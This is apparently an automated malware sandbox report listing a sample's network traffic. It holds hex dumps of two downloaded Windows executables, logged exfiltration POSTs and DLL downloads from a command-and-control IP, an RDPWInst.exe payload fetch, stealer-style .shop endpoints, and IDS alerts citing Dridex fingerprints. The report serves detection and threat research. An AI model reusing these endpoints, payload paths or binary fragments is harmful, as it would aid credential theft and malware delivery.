Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Thu, 26 Sep 2024 22:29:09 GMTContent-Type: application/octet-streamContent-Length: 73216Last-Modified: Thu, 26 Sep 2024 22:21:38 GMTConnection: keep-aliveKeep-Alive: timeout=120ETag: "66f5de72-11e00"X-Content-Type-Options: nosniffAccept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 32 a3 40 a0 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 30 00 00 04 01 00 00 18 00 00 00 00 00 00 fe 21 01 00 00 20 00 00 00 40 01 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 01 00 00 02 00 00 00 00 00 00 02 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 b0 21 01 00 4b 00 00 00 00 40 01 00 17 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 01 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 04 02 01 00 00 20 00 00 00 04 01 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 17 14 00 00 00 40 01 00 00 16 00 00 00 06 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 60 01 00 00 02 00 00 00 1c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 21 01 00 00 00 00 00 48 00 00 00 02 00 05 00 5c fc 00 00 54 25 00 00 03 00 02 00 06 00 00 06 68 2c 00 00 f4 cf 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1a 28 22 00 00 06 2a 1e 02 28 1a 00 00 0a 2a 36 02 7c 07 00 00 04 03 28 30 00 00 0a 2a 56 73 31 00 00 0a 72 0e 02 00 70 28 02 00 00 06 28 32 00 00 0a 2a 4a 73 31 00 00 0a 02 73 33 00 00 0a 03 28 34 00 00 0a 2a 5a 72 b6 02 00 70 28 02 00 00 06 28 11 00 00 06 02 6f 45 00 00 0a 2a b2 02 28 4e 00 00 0a 3a 01 00 00 00 2a 72 1c 03 00 70 28 02 00 00 06 02 72 36 03 00 70 28 02 00 00 06 28 4f 00 00 0a 28 10 00 00 06 2a e6 72 28 04 00 70 28 02 00 00 06 28 11 00 00 06 72 5a 04 00 70 28 02 00 00 06 6f 45 00 00 0a 3a 0b 00 00 00 72 8c 04 00 70 28 02 00 00 06 2a 72 5a 04 00 70 28 02 00 00 06 2a aa 72 5d 06 00 70 28 02 00 00 06 02 7b 0a 00 00 04 72 5d 06 00 70 28 02 00 00 06 28 52 00 00 0a 6f 53 00 00 0a 28 54 00 00 0a 2a 62 02 3a 0b 00 00 00 72 10 07 00 70 28 02 00 00 06 2a 02 6f 55 00 00 0a 2a 13 30 04 00 6e 00 00 00 01 00 00 11 00 02 28 0a 00 00 0a 0a 73 0b 00 00 0a 28 0c 00 00 0a 72 01 00 00 70 6f 0d 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Thu, 26 Sep 2024 22:29:10 GMTContent-Type: application/octet-streamContent-Length: 1785344Last-Modified: Thu, 26 Sep 2024 12:36:03 GMTConnection: keep-aliveKeep-Alive: timeout=120ETag: "66f55533-1b3e00"X-Content-Type-Options: nosniffAccept-Ranges: bytesData Raw: 4d 5a 50 00 02 00 00 00 04 00 0f 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 ba 10 00 0e 1f b4 09 cd 21 b8 01 4c cd 21 90 90 54 68 69 73 20 70 72 6f 67 72 61 6d 20 6d 75 73 74 20 62 65 20 72 75 6e 20 75 6e 64 65 72 20 57 69 6e 33 32 0d 0a 24 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 09 00 23 d6 43 5a 00 00 00 00 00 00 00 00 e0 00 8e 81 0b 01 02 19 00 34 04 00 00 06 17 00 00 00 00 00 3c 37 04 00 00 10 00 00 00 50 04 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 e0 1b 00 00 04 00 00 17 f6 1b 00 03 00 00 00 00 00 10 00 00 40 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 c0 04 00 f8 12 00 00 00 60 05 00 ed 7b 16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 05 00 fc 5e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 04 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 c3 04 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 20 12 04 00 00 10 00 00 00 14 04 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 69 74 65 78 74 00 00 7c 1e 00 00 00 30 04 00 00 20 00 00 00 18 04 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 78 12 00 00 00 50 04 00 00 14 00 00 00 38 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 62 73 73 00 00 00 00 c0 4f 00 00 00 70 04 00 00 00 00 00 00 4c 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 2e 69 64 61 74 61 00 00 f8 12 00 00 00 c0 04 00 00 14 00 00 00 4c 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 74 6c 73 00 00 00 00 10 00 00 00 00 e0 04 00 00 00 00 00 00 60 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 2e 72 64 61 74 61 00 00 18 00 00 00 00 f0 04 00 00 02 00 00 00 60 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 fc 5e 00 00 00 00 05 00 00 60 00 00 00 62 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 2e 72 73 72 63 00 00 00 ed 7b 16 00 00 60 05 00 00 7c 16 00 00 c2 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 70 17 00 00 00 00 00 00 cc 16 00 00 00 00 00 00 00
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: GET /profiles/76561199780418869 HTTP/1.1Host: steamcommunity.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /receive.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: hansgborn.euContent-Length: 58Expect: 100-continueConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /profiles/76561199780418869 HTTP/1.1Host: steamcommunity.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /prog/66f55533ca7d6_RDPWInst.exe HTTP/1.1Host: 147.45.44.104Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: api.ipify.org
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 104.21.77.130 104.21.77.130
Source: Joe Sandbox View IP Address: 147.45.44.104 147.45.44.104
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View ASN Name: AS-PUBMATICUS AS-PUBMATICUS
JA3 SSL client fingerprint seen in connection with other malware
Source: Joe Sandbox View JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View JA3 fingerprint: 51c64c77e60f3980eea90869b68c58a8
Source: Joe Sandbox View JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: Joe Sandbox View JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19
May check the online IP address of the machine
Source: unknown DNS query: name: api.ipify.org
Source: unknown DNS query: name: api.ipify.org
Suricata IDS alerts with low severity for network traffic
Source: Network traffic Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:57880 -> 5.75.211.162:443
Source: Network traffic Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:57879 -> 5.75.211.162:443
Source: Network traffic Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:57881 -> 5.75.211.162:443
Source: Network traffic Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:57882 -> 5.75.211.162:443
Source: Network traffic Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:57878 -> 5.75.211.162:443
Source: Network traffic Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:57884 -> 5.75.211.162:443
Source: Network traffic Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:57883 -> 5.75.211.162:443
Source: Network traffic Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:57886 -> 5.75.211.162:443
Source: Network traffic Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:57877 -> 5.75.211.162:443
Source: Network traffic Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:57885 -> 5.75.211.162:443
Source: Network traffic Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:57888 -> 5.75.211.162:443
Source: Network traffic Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:57890 -> 5.75.211.162:443
Source: Network traffic Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:57891 -> 5.75.211.162:443
Source: Network traffic Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:57887 -> 5.75.211.162:443
Source: Network traffic Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:57893 -> 5.75.211.162:443
Source: Network traffic Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:57892 -> 5.75.211.162:443
Source: Network traffic Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:57894 -> 5.75.211.162:443
Source: Network traffic Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:57897 -> 5.75.211.162:443
Source: Network traffic Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:57900 -> 5.75.211.162:443
Source: Network traffic Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:57895 -> 5.75.211.162:443
Source: Network traffic Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:57896 -> 5.75.211.162:443
Source: Network traffic Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:57902 -> 5.75.211.162:443
Source: Network traffic Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:57905 -> 5.75.211.162:443
Source: Network traffic Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:57899 -> 5.75.211.162:443
Source: Network traffic Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:57909 -> 5.75.211.162:443
Source: Network traffic Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.6:57901 -> 147.45.44.104:80
Source: Network traffic Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:57913 -> 5.75.211.162:443
Source: Network traffic Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:57927 -> 5.75.211.162:443
Source: Network traffic Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:57926 -> 5.75.211.162:443
Source: Network traffic Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:57929 -> 5.75.211.162:443
Source: Network traffic Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:57932 -> 5.75.211.162:443
Source: Network traffic Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:57928 -> 5.75.211.162:443
Source: Network traffic Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:57931 -> 5.75.211.162:443
Source: Network traffic Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:57930 -> 5.75.211.162:443
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:57921 -> 172.67.74.152:80
Source: Network traffic Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:57933 -> 5.75.211.162:443
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----CFBAKKJDBKJJJKFHDAEBUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Content-Length: 256Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----CGCAKKKEGCAKJKFIIEGIUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----IJKFIIIJJKJJKEBGIDGCUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----FIDHIEBAAKJDHIECAAFHUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Content-Length: 332Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----IEBFHCAKFBGDHIDHIDBKUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Content-Length: 6217Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /sqlp.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----JJDBAEHIJKJKEBFIEGHIUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Content-Length: 829Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----HCFCFHJDBKJKEBFHJEHIUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Content-Length: 437Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----KKJDGDHIDBGIECBGHJDBUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Content-Length: 437Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /freebl3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /mozglue.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /msvcp140.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /softokn3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /vcruntime140.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /nss3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----CGCAKKKEGCAKJKFIIEGIUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Content-Length: 1025Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----ECGHJJEHDHCAAKFIIDGIUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----HCAEHDHDAKJEBGCBKKJEUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----FHCGCAAKJDHJJJJJKKKFUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Content-Length: 461Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----AEHIJDAFBKFHIDGCFBFCUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Content-Length: 114353Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----BFCFBFBFBKFIDHJKFCAFUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----JEBGIIDBKEBFBGCAEBAKUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Content-Length: 499Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: wallkedsleeoi.shop
Source: global traffic HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: gutterydhowi.shop
Source: global traffic HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: ghostreedmnu.shop
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----IEBFHCAKFBGDHIDHIDBKUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Content-Length: 499Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: offensivedzvju.shop
Source: global traffic HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: vozmeatillu.shop
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----BFCFBFBFBKFIDHJKFCAFUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Content-Length: 499Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: drawzhotdog.shop
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----GHJKECAAAFHJECAAAEBFUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: fragnantbui.shop
Source: global traffic HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: stogeneratmns.shop
Source: global traffic HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: reinforcenh.shop
Source: global traffic HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: ballotnwu.site
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----KKJEBAAECBGDHIECAKJKUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Content-Length: 256Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----FHJDAAEGIDHDGCAAFCBAUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----BAAFBFBAAKECFIEBFIECUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----FIIIIJKFCAAECAKFIEHCUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Content-Length: 332Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----JJJEBGDAFHJEBGDGIJDHUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Content-Length: 6173Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /sqlp.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Connection: Keep-AliveCache-Control: no-cache
